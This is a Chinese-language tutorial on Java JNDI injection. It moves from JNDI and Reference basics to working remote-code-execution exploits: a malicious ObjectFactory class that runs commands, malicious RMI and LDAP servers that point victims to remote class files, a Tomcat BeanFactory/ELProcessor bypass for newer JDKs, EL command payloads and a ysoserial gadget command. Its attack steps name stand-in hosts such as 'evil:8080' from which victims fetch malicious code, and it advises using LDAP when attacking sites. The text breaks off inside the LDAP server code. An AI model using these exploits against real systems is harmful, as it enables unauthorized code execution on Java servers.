JNDI 与 JNDI Service Provider
的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service Provider
有 RMI/LDAP
等等。
每一个 Service Provider
可能配有多个 Object Factory
。Object Factory
用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。 JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。 JNDI由JNDI API
、命名管理
、JNDI SPI(service provider interface)服务提供的接口
组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口
JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:
Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。 代码格式如下:
//指定需要查找name名称
String jndiName= "Test";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);
这里的jndiName变量
的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。 那上面提到的命名和目录是什么?
举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务
其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。 在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。
从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
//主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming
//主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.directory
//在命名目录服务器中请求事件通知;
javax.naming.event
//提供LDAP支持;
javax.naming.ldap
//允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
javax.naming.spi
在这JDK里面给的解释是构建初始上下文,简单来说就是获取初始目录环境。
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable,?> environment)
InitialContext initialContext = new InitialContext();
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
String uri = "rmi://127.0.0.1:1099/test";
InitialContext initialContext = new InitialContext();
HelloInterface helloInterface = (HelloInterface) initialContext.lookup(uri);
System.out.println(helloInterface.says("hello"));
}
}
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。 在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:
参数1:
className
- 远程加载时所使用的类名
参数2:
classFactory
- 加载的class
中需要实例化类的名称
参数3:
classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。 Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 [补充](#JNDI Naming Reference)
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
在JNDI中提供了绑定和查找的方法
其实在JNDI的实现过程和RMI十分类似,就是在最后绑定和检索的时候有一点区别
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloInterface extends Remote {
String says (String name) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements HelloInterface{
protected HelloImpl() throws RemoteException {
}
@Override
public String says(String name) throws RemoteException {
return "test " + name;
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
//初始化环境
InitialContext ctx = new InitialContext(env);
// 创建一个注册表
LocateRegistry.createRegistry(1099);
// 远程调用对象
HelloInterface hello = new HelloImpl();
// 绑定
ctx.bind("test", hello);
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
//初始化环境
InitialContext init = new InitialContext();
//JNDI的方式获取远程对象
HelloInterface hello = (HelloInterface) init.lookup("rmi://127.0.0.1:1099/test");
// 调用方法
System.out.println(hello.says("123"));
}
}
我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL
,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中
init.lookup("rmi://127.0.0.1:1099/test")
这一处代码改为init.lookup("test")
也是没啥问题的。
其实就是说即使提前配置了Context.PROVIDER_URL
属性,当我们调用lookup()
方法时,如果lookup
方法的参数像demo中那样是一个uri地址
,那么客户端就会去lookup()
方法参数指定的uri
中加载远程对象,而不是去Context.PROVIDER_URL
设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。 正是因为有这个特性,才导致当lookup()
方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。 但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。
Reference类
表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。 Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:
className
:远程加载时所使用的类名;classFactory
:加载的class中需要实例化类的名称;classFactoryLocation
:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;当然,要把一个对象绑定到RMI注册表
中,这个对象需要继承UnicastRemoteObject
,但是Reference
没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper
包裹一下Reference
实例对象,这样就可以将其绑定到RMI注册表
,并被远程访问到了
// 第一个参数是远程加载时所使用的类名
// 第二个参数是要加载的类的完整类名
// 第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当有客户端通过**lookup("refObj")
获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName
,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用insClassName
的无参构造函数**,所以可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 static代码块
来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。
就是将恶意的Reference类
绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件
,当用户在JNDI客户端的lookup()
函数参数外部可控或Reference类
构造方法的classFactoryLocation参数
外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类
,从而加载远程服务器上的恶意class文件
在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
lookup()
方法的参数可控Reference类
时,classFactoryLocation
参数可控上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:
java.rmi.server.useCodebaseOnly
的默认值被设置为true
。当该值为true
时,将禁用自动加载远程类文件,仅从CLASSPATH
和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase
地址上动态加载类,增加了RMI ClassLoader
的安全性。com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false
,禁止RMI
和CORBA
协议使用远程codebase
的选项,因此RMI
和CORBA
在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false
,禁止LDAP
协议使用远程codebase
的选项,把LDAP协议的攻击途径也给禁了。可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。
rmi://attack:1090/Exploit
)rmi://attack:1090/Exploit
rmi://attack:1090/Exploit
请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper
对象(Reference("Class1","Class2","http://evil:8080/")
)ReferenceWrapper
开始在本地查找Class1
,发现无,则去请求http://evil:8080/Class2.class
.class
文件,受害者服务器调用Class2
的构造方法或者静态代码块的时候,恶意代码执行import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;
public class Evil implements ObjectFactory { // 实现接口ObjectFactory,不然会报错,虽然不影响执行
public Evil() throws IOException { // 构造方法,加载时会自动调用
exec("calc");
}
public static void exec(String cmd) throws IOException {
Process runcmd = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String tmp;
while ((tmp = bufferedReader.readLine()) != null){
System.out.println(tmp);
}
inputStreamReader.close();
bufferedReader.close();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws IOException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
//初始化环境
InitialContext ctx = new InitialContext(env);
// 创建一个注册表
LocateRegistry.createRegistry(1099);
// 绑定恶意的Reference到rmi注册表
// 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");
new ReferenceWrapper(reference);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ctx.bind("evil", referenceWrapper);
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
//初始化环境
InitialContext init = new InitialContext();
// 远程调用evil,然后找不到服务端类Evil,就会调用http://127.0.0.1:8888/Evil.class
init.lookup("rmi://127.0.0.1:1099/evil");
}
}
Evil.java
为Evil.class
,并启动http
服务evil
在lookup
下断点进行分析
先调用InitialContext.lookup
,getURLOrDefaultInitCtx
函数会分析name
的协议头返回对应协议的环境对象,此处返回Context
对象的子类rmiURLContext
对象,然后在对应协议中去lookup
搜索
然后就会调用GenericURLContext.lookup()
方法,此处this
为rmiURLContext
类调用对应类的getRootURLContext
类为解析RMI地址,不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)
返回对象的类型不同,执行不同的getRootURLContext
,进入不同的协议路线。
跟进lookup
,此处调用的是RegistryContext.lookup()
其中从RMI注册表中
lookup
查询到服务端中目标类的Reference
后返回一个ReferenceWrapper_Stub
类实例,该类实例就是客户端的存根、用于实现和服务端进行交互,最后调用decodeObject()
函数来解析
然后跟进RegistryContext.decodeObject
,先判断入参ReferenceWrapper_Stub
类实例是否是RemoteReference
接口实现类实例,而ReferenceWrapper_Stub
类正是实现RemoteReference
接口类的,因此通过判断调用getReference()
来获取到ReferenceWrapper_Stub
类实例中的Reference
即我们在恶意RMI注册中绑定的恶意Reference
;再往下调用NamingManager.getObjectInstance()
来获取远程服务端上的类实例
继续跟NamingManager.getObjectInstance()
进入getObjectFactoryFromReference
,到loadClass()
时,就会向工厂请求恶意的class
然后看到了熟悉的newInstance()
(实例化),我们写的Evil.java
只有一个构造函数,实例化之后,就会执行构造函数中的恶意代码。
继续向下跟进,因为getObjectFactoryFromReference()
返回的类需要为ObjectFactory
,所以这也就是我们之前在恶意类中实现了ObjectFactory
这个接口,不然就是会报错,虽然说这并不影响我们的恶意代码的执行,毕竟我们执行恶意代码是在这之前。
由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false
,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 两种绕过方法如下:
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。 简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation
这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation
这个途径实现了限制,但是对于classFactory
这个参数即本地ClassPath
中如果存在Gadget的话还是能够进行JNDI注入攻击的。
首先了解一下一些基本概念,然后再分析这两种绕过方法。
Oracle官方关于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html
Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。 当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。 例如,如果所需的类文件在Evil
的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):
-Djava.rmi.server.codebase=http://url:8080/
当接收程序试图从该URL的Evil
上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test
,那么接受方就会到下面的URL去下载类文件:
http://url:8080/com/project/test.class
如前文所述,JDK 7u21开始,java.rmi.server.useCodebaseOnly
默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading
,它最终是通过URLClassLoader
加载的远程类。
NamingManager.java
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
代码中会先尝试在本地CLASSPATH中加载类,不行再从Codebase中加载,codebase
的值是通过ref.getFactoryClassLocation()获得。
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
最后通过 VersionHelper12.loadClass()
中 URLClassLoader
加载了远程class。所以java.rmi.server.useCodebaseOnly
不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
com.sun.jndi.ldap.object.trustURLCodebase
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory
,但是我们依然可以在返回的Reference
中指定Factory Class
;
CLASSPATH
中javax.naming.spi.ObjectFactory
接口getObjectInstance()
方法org.apache.naming.factory.BeanFactory
刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory
存在于Tomcat依赖包中,所以使用也是非常广泛。 该类在 getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class
,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
根据beanFactory
的代码逻辑,要求传入的Reference
为ResourceRef
类,这个情况下,目标Bean Class
必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set…开头的方法,根据org.apache.naming.factory.BeanFactory
中的逻辑,我们可以把某个方法强制指定为setter。 然后大佬们找到了javax.el.ELProcessor
可以作为目标Class。
<dependency>
<groupId>org.apache.tomcatgroupId>
<artifactId>tomcat-catalinaartifactId>
<version>8.5.0version>
dependency>
<dependency>
<groupId>org.apache.elgroupId>
<artifactId>com.springsource.org.apache.elartifactId>
<version>7.0.26version>
dependency>
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EL_Server {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class EL_Client{
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
}
}
前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:
import javax.el.ELProcessor;
public class Test {
public static void main(String[] args) {
String poc1 = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
String poc2 = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
".invoke(null),'calc.exe')}";
String poc3 = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('JavaScript')" +
".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
new ELProcessor().eval(poc1);
}
}
因为org.apache.naming.factory.BeanFactory
类在 getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class
,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。所以重点分析getObjectInstance()
首先RegistryContext.lookup
对RMI registry发请求,反序列获取到ReferenceWrapper_Stub
,然后把反序列得到的ReferenceWrapper_Stub
传给decodeObject()
跟进decodeObject
,首先给获取到的var1 ReferenceWrapper_Stub
调用getReference()
方法,getReference
方法通过获取ReferenceWrapper_Stub
的ref
属性然后发请求, 反序列请求结果得到真正绑定到RMI Registry上的对象(ResourceRef
), 然后传给NamingManager.getObjectInstance()
方法。
首先类型转换将object转换为Reference对象
然后ref.getFactoryClassName()
获取FactoryClassName
,返回的是Reference对象的classFactory
属性,然后传递到getObjectFactoryFromReference
中,然后loadClass
加载我们传入的org.apache.naming.factory.BeanFactory
类, 再newInstance
实例化该类并将其转换成ObjectFactory
类型。
然后直接调用ObjectFactory接口
实现类实例的getObjectInstance()
函数,这里是BeanFactory
类实例的getObjectInstance()
函数 ,然后走出getObjectFactoryFromReference()
函数
跟进BeanFactory.getObjectInstance
,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例
接着获取Bean类为javax.el.ELProcessor
后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval
内容:
继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,**之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!**之后,就是获取beanClass
即javax.el.ELProcessor
类的eval()
方法并和x属性一同缓存到forced这个HashMap中
接着是多个do while
语句来遍历获取ResourceRef
类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()
函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素
获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor
类的eval()
方法并赋值给method变量,最后就是通过method.invoke()
即反射调用的来执行恶意的EL表达式。
org.apache.naming.factory.BeanFactory
;org.apache.naming.factory.BeanFactory
类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor
类;forceString
、内容为x=eval
的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory
类的getObjectInstance()方法源码发现,程序会判断是否存在=
号,若存在则将x
属性的默认setter方法设置为我们eval
;第二次是类型为x
、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x
属性关联起来,x
属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor
类的eval()函数执行恶意表达式从而达到攻击利用的目的LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值
不为空,则客户端的obj.decodeObject()
方法就会对这个字段的内容进行反序列化。
如果服务端ClassPath中存在反序列化漏洞多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。
假设目标系统中存在着有漏洞的CommonsCollections
库,使用ysoserial生成一个CommonsCollections的利用Payload
java -jar ysoserial.jar CommonsCollections6 "calc" | base64
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAP_Server{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8888/#Exploit";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
